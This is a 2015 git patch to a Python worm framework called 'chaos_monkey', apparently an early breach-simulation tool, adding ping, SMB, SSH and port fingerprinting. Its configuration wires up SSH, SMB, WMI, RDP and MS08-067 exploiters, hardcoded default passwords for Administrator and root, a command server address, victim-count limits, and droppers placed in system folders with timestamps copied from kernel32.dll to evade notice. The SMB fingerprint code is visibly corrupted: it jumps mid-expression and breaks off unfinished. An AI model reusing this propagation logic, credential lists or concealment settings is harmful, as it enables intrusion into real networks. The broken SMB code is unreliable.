From 7697f5fce9037ad15687cdaf134dc025dd25d809 Mon Sep 17 00:00:00 2001 From: Barak Hoffer Date: Tue, 29 Sep 2015 17:55:54 +0300 Subject: [PATCH] add support for simple fingerprinting by: ping, smb, ssh and open ports --- chaos_monkey/config.py | 110 +++++++++++++++++--- chaos_monkey/model/host.py | 9 +- chaos_monkey/network/__init__.py | 13 ++- chaos_monkey/network/ping_scanner.py | 49 ++++++++- chaos_monkey/network/smbfinger.py | 148 +++++++++++++++++++++++++++ chaos_monkey/network/sshfinger.py | 57 +++++++++++ chaos_monkey/network/tcp_scanner.py | 42 +++++--- 7 files changed, 392 insertions(+), 36 deletions(-) create mode 100644 chaos_monkey/network/smbfinger.py create mode 100644 chaos_monkey/network/sshfinger.py diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index a07dc5fe6..6ce461499 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -3,19 +3,84 @@ import os import sys import ntpath from network.range import ClassCRange, RelativeRange, FixedRange -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter -from network import TcpScanner, PingScanner - +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter +from network import TcpScanner, PingScanner, SMBFinger, SSHFinger +from abc import ABCMeta +import uuid +import types __author__ = 'itamar' -class WormConfiguration(object): +GUID = str(uuid.getnode()) + +EXTERNAL_CONFIG_FILE = os.path.join(os.path.dirname(sys.argv[0]), 'monkey.bin') + +def _cast_by_example(value, example): + example_type = type(example) + if example_type is str: + return str(os.path.expandvars(value)) + elif example_type is tuple and len(example) != 0: + return tuple([_cast_by_example(x, example[0]) for x in value]) + elif example_type is list and len(example) != 0: + return [_cast_by_example(x, example[0]) for x in value] + elif example_type is type(value): + return value + elif example_type is bool: + return value.lower() == 'true' + elif example_type is int: + return int(value) + elif example_type is float: + return float(value) + elif example_type is types.ClassType or example_type is ABCMeta: + return globals()[value] + else: + return None + +class Configuration(object): + + def from_dict(self, data): + for key,value in data.items(): + if key.startswith('_'): + continue + + try: + default_value = getattr(Configuration, key) + except AttributeError: + continue + + setattr(self, key, _cast_by_example(value, default_value)) + + def as_dict(self): + result = {} + for key in dir(Configuration): + if key.startswith('_'): + continue + try: + value = getattr(self, key) + except AttributeError: + continue + + val_type = type(value) + + if val_type is types.FunctionType or val_type is types.MethodType: + continue + + if val_type is types.ClassType or val_type is ABCMeta: + value = value.__name__ + elif val_type is tuple or val_type is list: + if len(value) != 0 and type(value[0]) is types.ClassType or type(value[0]) is ABCMeta: + value = val_type([x.__name__ for x in value]) + + result[key] = value + + return result + ########################### ### logging config - ########################### + ########################### use_file_logging = True - dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") - monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp") + dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") if sys.platform == "win32" else '/tmp/user-1562' + monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp") if sys.platform == "win32" else '/tmp/user-1563' ########################### ### dropper config @@ -23,8 +88,9 @@ class WormConfiguration(object): dropper_try_move_first = sys.argv[0].endswith(".exe") dropper_set_date = True - dropper_date_reference_path = r"\windows\system32\kernel32.dll" - dropper_target_path = ntpath.join(r"C:\Windows", ntpath.split(sys.argv[0])[-1]) + dropper_date_reference_path = r"\windows\system32\kernel32.dll" if sys.platform == "win32" else '/bin/sh' + dropper_target_path = r"C:\Windows\monkey.exe" + dropper_target_path_linux = '/bin/monkey' ########################### ### monkey config @@ -39,7 +105,8 @@ class WormConfiguration(object): max_iterations = 2 scanner_class = TcpScanner - exploiter_classes = (RdpExploiter, ) + finger_classes = (PingScanner, SSHFinger, SMBFinger) + exploiter_classes = (SSHExploiter, SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter) # how many victims to look for in a single scan iteration victims_max_find = 14 @@ -47,7 +114,11 @@ class WormConfiguration(object): # how many victims to exploit before stopping victims_max_exploit = 7 - command_server = "russian-mail-brides.com" + current_server = "" + + command_servers = ["russian-mail-brides.com:5000"] + + serialize_config = True ########################### ### scanners config @@ -55,14 +126,15 @@ class WormConfiguration(object): #range_class = RelativeRange - #range_size = 8 - range_class = FixedRange - range_fixed = ("10.15.1.94", ) + range_size = 8 + range_class = ClassCRange + range_fixed = ("10.0.0.1") # TCP Scanner - tcp_target_ports = [445, 135] + tcp_target_ports = [22, 445, 135] tcp_scan_timeout = 1000 # 1000 Milliseconds tcp_scan_interval = 200 + tcp_scan_get_banner = True # Ping Scanner ping_scan_timeout = 1000 @@ -80,3 +152,11 @@ class WormConfiguration(object): # psexec exploiter psexec_user = "Administrator" psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"] + + #ssh exploiter + ssh_user = "root" + ssh_passwords = ["root", "toor", "1234", "12345678"] + + alive = True + +WormConfiguration = Configuration() \ No newline at end of file diff --git a/chaos_monkey/model/host.py b/chaos_monkey/model/host.py index a8e54a739..e3efdfc7b 100644 --- a/chaos_monkey/model/host.py +++ b/chaos_monkey/model/host.py @@ -1,10 +1,15 @@ - __author__ = 'itamar' class VictimHost(object): def __init__(self, ip_addr): self.ip_addr = ip_addr self.cred = {} + self.os = {} + self.services = {} + self.monkey_exe = None + + def as_dict(self): + return self.__dict__ def __hash__(self): return hash(self.ip_addr) @@ -28,4 +33,4 @@ class VictimHost(object): self.cred[username.lower()] = password def get_credentials(self, username): - return self.cred.get(username.lower(), None) \ No newline at end of file + return self.cred.get(username.lower(), None) diff --git a/chaos_monkey/network/__init__.py b/chaos_monkey/network/__init__.py index 56d44b62e..16edb2a3d 100644 --- a/chaos_monkey/network/__init__.py +++ b/chaos_monkey/network/__init__.py @@ -1,5 +1,6 @@ from abc import ABCMeta, abstractmethod +import socket __author__ = 'itamar' @@ -10,6 +11,16 @@ class HostScanner(object): def is_host_alive(self, host): raise NotImplementedError() +class HostFinger(object): + __metaclass__ = ABCMeta + + @abstractmethod + def get_host_fingerprint(self, host): + raise NotImplementedError() + from ping_scanner import PingScanner -from tcp_scanner import TcpScanner \ No newline at end of file +from tcp_scanner import TcpScanner +from smbfinger import SMBFinger +from sshfinger import SSHFinger +from info import local_ips \ No newline at end of file diff --git a/chaos_monkey/network/ping_scanner.py b/chaos_monkey/network/ping_scanner.py index b6330d0da..f4fdac8e9 100644 --- a/chaos_monkey/network/ping_scanner.py +++ b/chaos_monkey/network/ping_scanner.py @@ -1,26 +1,67 @@ - import os import sys import subprocess -from network import HostScanner +import logging +from network import HostScanner, HostFinger from model.host import VictimHost +import re __author__ = 'itamar' PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c" PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W" +TTL_REGEX_STR = '(?<=TTL\=)[0-9]+' +LINUX_TTL = 64 +WINDOWS_TTL = 128 -class PingScanner(HostScanner): +LOG = logging.getLogger(__name__) + +class PingScanner(HostScanner, HostFinger): def __init__(self): self._config = __import__('config').WormConfiguration self._devnull = open(os.devnull, "w") + self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) def is_host_alive(self, host): assert isinstance(host, VictimHost) + timeout = self._config.ping_scan_timeout + if not "win32" == sys.platform: + timeout = timeout / 1000 + return 0 == subprocess.call(["ping", PING_COUNT_FLAG, "1", - PING_TIMEOUT_FLAG, str(self._config.ping_scan_timeout), + PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], stdout=self._devnull, stderr=self._devnull) + + def get_host_fingerprint(self, host): + assert isinstance(host, VictimHost) + + timeout = self._config.ping_scan_timeout + if not "win32" == sys.platform: + timeout = timeout / 1000 + + sub_proc = subprocess.Popen(["ping", + PING_COUNT_FLAG, + "1", + PING_TIMEOUT_FLAG, + str(timeout), host.ip_addr], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE) + + output = " ".join(sub_proc.communicate()) + regex_result = self._ttl_regex.search(output) + if regex_result: + try: + ttl = int(regex_result.group(0)) + if LINUX_TTL == ttl: + host.os['type'] = 'linux' + elif WINDOWS_TTL == ttl: + host.os['type'] = 'windows' + return True + except Exception, exc: + LOG.debug("Error parsing ping fingerprint: %s", exc) + + return False diff --git a/chaos_monkey/network/smbfinger.py b/chaos_monkey/network/smbfinger.py new file mode 100644 index 000000000..20691ae0f --- /dev/null +++ b/chaos_monkey/network/smbfinger.py @@ -0,0 +1,148 @@ +import re +import sys +import socket +import struct +import string +import logging +from network import HostFinger +from model.host import VictimHost +from odict import odict +import select + +SMB_PORT = 445 +SMB_SERVICE = 'tcp-445' + +LOG = logging.getLogger(__name__) + +class Packet(): + fields = odict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = odict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +##### SMB Packets ##### +class SMBHeader(Packet): + fields = odict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("errorcode", "\x00\x00\x00\x00"), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = odict([ + ("wordcount", "\x00"), + ("bcc", "\x62\x00"), + ("data", "") + ]) + + def calculate(self): + self.fields["bcc"] = struct.pack("i", len(''.join(Packet)))+Packet + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + Body = SMBSessionFingerData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x73\x16": + length = struct.unpack('